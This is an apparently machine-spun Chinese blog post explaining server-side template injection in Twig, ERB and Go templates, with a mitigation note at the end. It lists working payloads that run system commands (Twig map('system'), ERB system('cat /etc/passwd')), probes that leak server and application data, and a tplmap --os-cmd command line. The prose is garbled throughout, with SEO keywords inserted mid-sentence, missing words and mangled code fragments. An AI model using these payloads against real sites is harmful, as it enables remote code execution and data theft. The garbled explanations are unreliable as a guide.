php代碼注入漏洞 PHP模板引擎和注入漏洞Twig(PHP)(圖)php代碼注入
2022-04-27
SSTI簡(jiǎn)介
MVC
MVC是一種框架模式,全稱(chēng)是View。
即模型()-視圖(視圖)-控制器()
在MVC指導(dǎo)下的開(kāi)發(fā)中,采用業(yè)務(wù)邏輯、數(shù)據(jù)、界面展示分離的方式組織代碼,將業(yè)務(wù)邏輯聚合成一個(gè)組件。在改進(jìn)和定制界面和用戶(hù)交互的同時(shí)php代碼注入漏洞,更具有良好的開(kāi)發(fā)和維護(hù)效率。
在MVC框架中,通過(guò)View接收用戶(hù)的輸入,交出,然后通過(guò)調(diào)用或者其他的方式處理,最后返回給View,這樣最終展現(xiàn)在我們面前,那么這里的View將廣泛使用一種稱(chēng)為模板的技術(shù)。
繞過(guò)服務(wù)器接收用戶(hù)的惡意輸入后,作為Web應(yīng)用程序模板內(nèi)容的一部分,不做任何處理,模板引擎執(zhí)行用戶(hù)插入的模板,可以在執(zhí)行過(guò)程中破壞模板目標(biāo)編譯和渲染過(guò)程。語(yǔ)句,會(huì)導(dǎo)致敏感信息泄露、代碼執(zhí)行等。
雖然市場(chǎng)上關(guān)于SSTI的大部分問(wèn)題都在上面,但請(qǐng)不要以為這種攻擊方式只存在于.無(wú)論在何處使用模板,都可能出現(xiàn) SSTI 問(wèn)題。 SSTI 不屬于任何一種語(yǔ)言。
常見(jiàn)的模板引擎和注入漏洞
樹(shù)枝(PHP)
首先介紹帶有Twig模板引擎的SSTI。很多情況下,SSTI發(fā)生在用戶(hù)輸入直接作為模板的時(shí)候,比如下面的代碼
'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();
注入$_GET['name']時(shí),會(huì)觸發(fā)SSTI
下面的代碼沒(méi)有,因?yàn)槟0逡娼馕龅氖亲址A恐械膡{name}},而不是動(dòng)態(tài)拼接的$_GET["name"]
'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', array("name" => $_GET["name"]));
對(duì)于模板引擎的使用,經(jīng)常會(huì)使用模板中的一些方法來(lái)達(dá)到攻擊的目的,比如Twig中的 map
一個(gè)經(jīng)典的例子
{{["man"]|map((arg)=>" #{arg}")}}
會(huì)這樣編譯
([0 => "id"], ($) 使用 ($, $) { $["arg"] = $; (" " . ($["arg"] ?? null))
p>
關(guān)于這個(gè),源碼是這樣的
可以看到傳入的$是作為函數(shù)執(zhí)行的,所以不用傳遞,直接傳遞一個(gè)字符串,找到一個(gè)帶兩個(gè)參數(shù)的危險(xiǎn)函數(shù),可以通過(guò)命令執(zhí)行
例如
{{["id"]|map("system")|join(",")}}
{{["phpinfo();"]|map("assert")|join(",")}}
{{["id", 0]|map("passthru")}}
同樣的,我們也可以找到一些其他的過(guò)濾器排序,網(wǎng)上也有介紹,不再贅述。
當(dāng)然,SSTI 也有一個(gè)基本的方法來(lái)使用它來(lái)泄漏源代碼和程序環(huán)境中的上下文信息。在Twig引擎中網(wǎng)站模板,我們可以通過(guò)以下方法獲取當(dāng)前應(yīng)用的一些信息
{{_self}} #指向當(dāng)前應(yīng)用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
ERB(紅寶石)
相比Twig,ERB的代碼直接提供了一些命令執(zhí)行接口,比如
<%= system("whoami") %>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
這里主要是介紹一些模板標(biāo)簽的分類(lèi)
例如這里使用ERB模板標(biāo)簽,Twig使用{{}}。根據(jù)一些簡(jiǎn)單的poc和tag分類(lèi),我們可以快速識(shí)別出是否存在模板漏洞以及使用的模板引擎技術(shù)
當(dāng)然有些模板引擎標(biāo)簽是可以自定義的,上面列出的只是默認(rèn)的
SSTI
關(guān)于 SSTI 的研究仍然相對(duì)較少網(wǎng)站制作,可能是因?yàn)樗辉O(shè)計(jì)為更安全。
但是通過(guò) {{.}} 我們可以得到范圍
如下例所示
package main
import (
"html/template"
"net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
//var name = ""
r.ParseForm() // Parses the request body
x := r.Form.Get("name")
var test map[string]interface{}
test = make(map[string]interface{})
var secret map[string]interface{}
secret = make(map[string]interface{})
flag := "flag{testflag}"
secret["flag"] = &flag
test["secret"] = secret
var tmpl = `
` + x + `
`
t := template.New("main") //name of the template is main
t, _ = t.Parse(tmpl) // parsing of template string
t.Execute(w, test)
}
func main() {
server := http.Server{
Addr: "0.0.0.0:5090",
}
http.HandleFunc("/", handler)
server.ListenAndServe()
}
可以獲取范圍對(duì)象
進(jìn)一步拿到flag
即使作用域內(nèi)有可利用的函數(shù),我們也可以調(diào)用該函數(shù)來(lái)完成攻擊php代碼注入漏洞,比如
type User struct {
ID int
Email string
Password string
}
func (u User) System(test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
有
/
這個(gè)引擎應(yīng)該出鏡率最高,能寫(xiě)很多東西。限于篇幅,具體內(nèi)容將記錄在(下)中。
常用檢測(cè)工具
工具地址:
符合設(shè)計(jì)風(fēng)格,直接拍就行了
/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'
總結(jié)
SSTI 是 MVC 架構(gòu)中常見(jiàn)的問(wèn)題類(lèi)型。除了本文介紹的幾個(gè)引擎外,還有很多受影響的引擎,例如 .這個(gè)問(wèn)題主要是開(kāi)發(fā)者直接將用戶(hù)輸入作為模板交給模板引擎渲染造成的。將用戶(hù)輸入綁定到模板的參數(shù)可以緩解這個(gè)問(wèn)題。通過(guò)SSTI,我們往往可以獲取程序運(yùn)行的上下文,甚至可以利用模板引擎的內(nèi)置方法完成遠(yuǎn)程代碼注入等高危攻擊。
我整理了有關(guān)網(wǎng)絡(luò)安全的學(xué)習(xí)資料和指導(dǎo)書(shū)